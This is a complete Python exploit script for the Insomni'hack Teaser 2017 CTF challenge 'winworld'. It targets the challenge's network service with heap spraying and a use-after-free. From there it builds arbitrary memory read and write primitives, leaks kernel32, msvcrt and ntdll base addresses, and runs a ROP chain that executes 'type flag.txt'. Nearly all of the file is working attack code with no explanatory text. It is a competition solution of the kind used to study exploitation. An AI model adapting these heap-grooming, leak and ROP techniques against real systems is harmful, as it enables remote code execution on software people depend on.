# Insomni'hack Teaser 2017 "winworld" task exploit
#
# Author:    Mateusz "j00ru" Jurczyk
# Date:      21 January 2017
#
import os
import random
import string
import sys
import struct
import subprocess
import socket
import telnetlib
import time

#host = "localhost"
host = "winworld.teaser.insomnihack.ch"
port = 1337

def read_until(s, text):
  buffer = ""
  while len(buffer) < len(text):
    buffer += s.recv(1)
  while buffer[-len(text):] != text:
    buffer += s.recv(1)
  return buffer[:-len(text)]

def dd(x):
  return struct.pack("<I", x)

def dq(x):
  return struct.pack("<Q", x)

##########################################################################
# Exploit start
##########################################################################

def wait_narrator(s):
  read_until(s, "[day ")

def new(s, type, sex, name):
  wait_narrator(s)
  s.sendall("new %s %s %s\n" % (type, sex, name))

def clone(s, person_id, new_name):
  wait_narrator(s)
  s.sendall("clone %s %s\n" % (person_id, new_name))

def list(s, type):
  wait_narrator(s)
  s.sendall("list %s\n" % type)

  persons = []

  read_until(s, "List of all %s\r\n" % type)
  while True:
    line = s.recv(4)
    if line == "narr":
      break

    person = {}

    person["id"] = read_until(s, " ")

    read_until(s, "'")
    person["name"] = read_until(s, "'")

    read_until(s, "alive at (")
    person["x"] = int(read_until(s, ", "))
    person["y"] = int(read_until(s, "))"))

    read_until(s, "\n")
    persons.append(person)

  return persons

def info(s, person_id):
  wait_narrator(s)
  s.sendall("info %s\n" % person_id)

  person = {}

  read_until(s, "Name: ")
  person["name"] = read_until(s, "\r\n")

  read_until(s, "Type: ")
  person["sex"] = read_until(s, " ")
  person["type"] = read_until(s, "\r\n")

  read_until(s, "Position: (")
  person["x"] = int(read_until(s, ", "))
  person["y"] = int(read_until(s, ")"))

  read_until(s, "Stats: attack ")
  person["attack"] = int(read_until(s, ", health "))
  person["health"] = int(read_until(s, "/"))
  person["max_health"] = int(read_until(s, ", luck "))
  person["luck"] = int(read_until(s, "\r\n"))

  read_until(s, "Sexual affinity:")
  person["sex_affinity"] = read_until(s, "\r\n").strip()

  read_until(s, "Alive: ")
  person["alive"] = read_until(s, "\r\n") == "yes"
  
  if person["type"] == "host":
    read_until(s, "Dead ")
    person["times_dead"] = int(read_until(s, " times in "))
  else:
    read_until(s, "Has been here for ")
  person["days"] = int(read_until(s, " days and did "))
  person["moves"] = int(read_until(s, " moves."))

  read_until(s, "On encounter: ")
  person["encounter"] = read_until(s, "\r\n")

  person["friends"] = []
  read_until(s, "Friends:")
  data = s.recv(2)
  if data != " n":
    while True:
      data = s.recv(4)
      if data != "  - ":
        break
      
      friend = {}
      friend["name"] = read_until(s, " (")
      friend["type"] = read_until(s, ", ")
      friend["alive"] = read_until(s, ")\r\n") == "alive"

      person["friends"].append(friend)

  person["sentences"] = []
  read_until(s, "sentences:")
  data = s.recv(2)
  if data != " n":
    while True:
      data = s.recv(4)
      if data != "  - ":
        break

      person["sentences"].append(read_until(s, "\r\n"))

  return person

def update(s, person_id, attribute, value):
  wait_narrator(s)
  s.sendall("update %s %s %s\n" % (person_id, attribute, value))

def friend(s, action, person1, person2):
  wait_narrator(s)
  s.sendall("friend %s %s %s\n" % (action, person1, person2))

def sentence(s, action, person_id, value):
  wait_narrator(s)
  s.sendall("sentence %s %s %s\n" % (action, person_id, value))

def get_map(s):
  wait_narrator(s)
  s.sendall("map\n")

def move(s, person_id, path):
  wait_narrator(s)
  s.sendall("move %s %s\n" % (person_id, path))

def random_move(s):
  wait_narrator(s)
  s.sendall("random_move\n")

def next_day(s):
  wait_narrator(s)
  s.sendall("next_day\n")

def find_path(src, dest, game_map):
  q = [(src["x"], src["y"])]
  prev = {}
  visited = {}

  while len(q) > 0:
    x = q[0][0]
    y = q[0][1]
    q = q[1:]

    # Check if we arrived at the destination.
    if (x == dest["x"]) and (y == dest["y"]):
      # If so, reverse the prev chain to create a path.
      path = ""
      while (x != src["x"]) or (y != src["y"]):
        cur_prev = prev[(x, y)]
        path = ["u", "r", "d", "l"][cur_prev] + path

        vx = [1, 0, -1, 0]
        vy = [0, -1, 0, 1]
        x += vx[cur_prev]
        y += vy[cur_prev]
      return path

    vx = [-1, 0, 1, 0]
    vy = [0, 1, 0, -1]
    for v in xrange(4):
      new_pos = (x + vx[v], y + vy[v])
      if (new_pos[0] >= 0) and (new_pos[0] < 60) and (new_pos[1] >= 0) and (new_pos[1] < 150) and (game_map[new_pos]) and (new_pos not in visited):
        q.append(new_pos)
        visited[new_pos] = True
        prev[new_pos] = v
        
  return None

def read_mem(s, address, size, uaf_id, control_id):
  update(s, control_id, "name", "\x00" * 0x38 + dq(address) + dq(1) + dq(size) + dq(0xffffffffffffffff) + "\x00" * 0xA + "\x01" + "\x00" * 0x25)
  ret = info(s, uaf_id)
  return ret["name"]

def write_mem(s, address, data, uaf_id, control_id):
  update(s, control_id, "name", "\x00" * 0x38 + dq(address) + dq(1) + dq(0xffffffffffffffff) + dq(0xffffffffffffffff) + "\x00" * 0xA + "\x01" + "\x00" * 0x25)
  update(s, uaf_id, "name", data)

def call_rip(s, address, uaf_id, control_id):
  control_id_info = info(s, control_id)
  update(s, control_id, "name", dq(address) + "\x00" * 0x58 + "\x01\x01\x01" + "\x00" * 0xd + dd(control_id_info["x"] - 1) + dd(control_id_info["y"]) + "\x00" * 0x10)
  move(s, uaf_id, "d")

# Connect to service.
s = socket.socket()
s.connect((host, port))

read_until(s, "park no ")
rand_val = int(read_until(s, " ]--"))

print "[+] Random value: %d" % rand_val

# Get maze center.
proc = subprocess.Popen(['calc_rand.exe', str(rand_val)],stdout=subprocess.PIPE)
for line in proc.stdout:
  seed, center_x, center_y = map(lambda x: int(x), line.rstrip().split())

print "[+] Calculated seed: %x" % seed

# Attach debugger if necessary.
#raw_input("Connected.")

# Create N sentences and immediately remove them to spray the heap memory with non-zero data.
HEAP_SPRAY_SENTENCES = 8
for i in xrange(HEAP_SPRAY_SENTENCES):
  sentence(s, "add", "h0", chr(0xff ^ i) * 0x88)

for i in xrange(HEAP_SPRAY_SENTENCES):
  sentence(s, "remove", "h0", chr(0xff ^ i) * 0x88)

# Create worker h7, a clone of h0, but hopefully with the can_find_center bit set.
clone(s, "h0", "h7")

# Make h7 very weak, so it can be killed easily.
update(s, "h7", "health", "1")

# Make g1 strong and aggressive.
update(s, "g1", "attack", "10")
update(s, "g1", "encounter", "attack")

# Make h7 friends with all other existing hosts (h0-h6). Also remove existing friend g1.
friend(s, "remove", "h7", "g1")
for i in xrange(7):
  friend(s, "add", "h7", "h%d" % i)

# Set the actions of g0 and h7 to "talk" (friendly).
update(s, "g0", "encounter", "talk")
update(s, "h7", "encounter", "talk")

# Get the map layout.

game_map = {}

get_map(s)
read_until(s, "+\r\n")

for x in xrange(60):
  s.recv(1)
  for y in xrange(150):
    pt = s.recv(1)
    if pt == ' ':
      game_map[x, y] = True
    else:
      game_map[x, y] = False
  s.recv(3)

# Do the same for g0: find the path to the maze center and go there.
g0_info = info(s, "g0")

print "g0: (%d, %d), center: (%d, %d)" % (g0_info["x"], g0_info["y"], center_x, center_y)

g0_path = find_path({"x": g0_info["x"], "y": g0_info["y"]}, {"x": center_x, "y": center_y}, game_map)
if g0_path == None:
  print "[-] Unfortunately there is no path from g0 to the maze path, please retry."
  sys.exit(1)

print "path: %s (len %d)" % (g0_path, len(g0_path))
move(s, "g0", g0_path)

g0_info = info(s, "g0")

print "g0: (%d, %d)" % (g0_info["x"], g0_info["y"])
assert((g0_info["x"] == center_x) and (g0_info["y"] == center_y))

# Find the path from h7 to maze center, and go there.
h7_info = info(s, "h7")

print "h7: (%d, %d), center: (%d, %d)" % (h7_info["x"], h7_info["y"], center_x, center_y)

h7_path = find_path({"x": h7_info["x"], "y": h7_info["y"]}, {"x": center_x, "y": center_y}, game_map)
if h7_path == None:
  print "[-] Unfortunately there is no path from h7 to the maze path, please retry."
  sys.exit(1)

print "path: %s (len %d)" % (h7_path, len(h7_path))
#raw_input("About to move h7 to transform into guest (g3)...")
move(s, "h7", h7_path)

# Find the path from g1 to h7 (maze center), and go there.
g1_info = info(s, "g1")

print "g1: (%d, %d), center: (%d, %d)" % (g1_info["x"], g1_info["y"], center_x, center_y)

g1_path = find_path({"x": g1_info["x"], "y": g1_info["y"]}, {"x": center_x, "y": center_y}, game_map)
if g1_path == None:
  print "[-] Unfortunately there is no path from g1 to the maze path, please retry."
  sys.exit(1)

print "path: %s (len %d)" % (g1_path, len(g1_path))
#raw_input("About to move g1 to kill h7...")
move(s, "g1", g1_path)

# Remove all of h7's friends so that they don't cause us trouble later on.
for i in xrange(7):
  friend(s, "remove", "g3", "h%d" % i)

# Create some persons which will be used in a second to spray the heap.
HEAP_SPRAY_PERSONS = 128
for i in xrange(HEAP_SPRAY_PERSONS):
  new(s, "guest", "male", "A")

# Move to next day, which will result in freeing g3, to which a dangling reference will persist as h7.
next_day(s)

for i in xrange(HEAP_SPRAY_PERSONS):
  update(s, "g%d" % (4 + i), "name", "A" * 0x88)

# Update "encounter" for h7, which will result in saving a valid function pointer into one of the sentences.
update(s, "h7", "encounter", "attack")

# Print guest names: one of them should contain the leaked address.
guests = list(s, "guests")
for i in xrange(4, 4 + HEAP_SPRAY_PERSONS - 1):
  if guests[i]["name"][:8] != "A" * 8:
    ATTACK_FUNC_ADDR = struct.unpack("<Q", guests[i]["name"][:8])[0]
    WINWORLD_BASE_ADDR = ATTACK_FUNC_ADDR - 0xeff0
    CONTROL_IDX = i

    print "[+] Found controlled structure in the name of guest %d" % i
    print "[+] Leaked address: %x" % ATTACK_FUNC_ADDR

assert(CONTROL_IDX != None)
uaf_id = "h7"
control_id = "g%d" % CONTROL_IDX

# Create helper person h8, which will be used to get the address of 7.
new(s, "host", "male", "h8")

# Set h7 to completely empty.
update(s, control_id, "name", "\x00" * 0x62 + "\x01" + "\x00" * 0x25)

# Connect h7 and h8 as friends.
friend(s, "add", "h7", "h8")

# Read the address of the friends vector in h7.
friends_vector_start = struct.unpack("<Q", info(s, control_id)["name"][8: 16])[0]
print "[+] Friends vector start: %x" % friends_vector_start

h8_address = struct.unpack("<Q", read_mem(s, friends_vector_start, 8, uaf_id, control_id))[0]
print "[+] h8 address: %x" % h8_address

h8_friends_vector_start = struct.unpack("<Q", read_mem(s, h8_address + 8, 8, uaf_id, control_id))[0]
print "[+] h8 friends vector start: %x" % h8_friends_vector_start

h7_address = struct.unpack("<Q", read_mem(s, h8_friends_vector_start, 8, uaf_id, control_id))[0]
print "[+] h7 address: %x" % h7_address

RtlCaptureContext = struct.unpack("<Q", read_mem(s, WINWORLD_BASE_ADDR + 0x16080, 8, uaf_id, control_id))[0]
KERNEL32_BASE = RtlCaptureContext - 0x23F30
print "[+] RtlCaptureContext: %x" % RtlCaptureContext
print "[+] Kernel32 base: %x" % KERNEL32_BASE

srand = struct.unpack("<Q", read_mem(s, WINWORLD_BASE_ADDR + 0x164B0, 8, uaf_id, control_id))[0]
MSVCRT_BASE = srand - 0x1C350
print "[+] srand: %x" % RtlCaptureContext
print "[+] MSVCRT base: %x" % MSVCRT_BASE

RtlDecodeSystemPointer = struct.unpack("<Q", read_mem(s, KERNEL32_BASE + 0x75A90, 8, uaf_id, control_id))[0]
NTDLL_BASE = RtlDecodeSystemPointer - 0x86DC0
print "[+] RtlDecodeSystemPointer: %x" % RtlDecodeSystemPointer
print "[+] NTDLL base: %x" % NTDLL_BASE

#raw_input("Going to call a controlled pointer...")
call_rip(s, RtlCaptureContext, uaf_id, control_id)

stack_address = struct.unpack("<Q", read_mem(s, h7_address + 0x98, 8, uaf_id, control_id))[0]
print "[+] Leaked stack address: %x" % stack_address

#raw_input("Writing ROP and jumping there...")

write_mem(s, KERNEL32_BASE + 0xA2150, "type flag.txt flag.txt flag.txt\0", uaf_id, control_id)

rop = (dq(KERNEL32_BASE + 0x698EB) + dq(KERNEL32_BASE + 0xA2150) + dq(MSVCRT_BASE + 0xA4BAC))

#write_mem(s, 0x12345678, rop, uaf_id, control_id)
write_mem(s, stack_address + 0x178, rop, uaf_id, control_id)

while True:
  sys.stdout.write(s.recv(16))

t = telnetlib.Telnet()
t.sock = s
t.interact()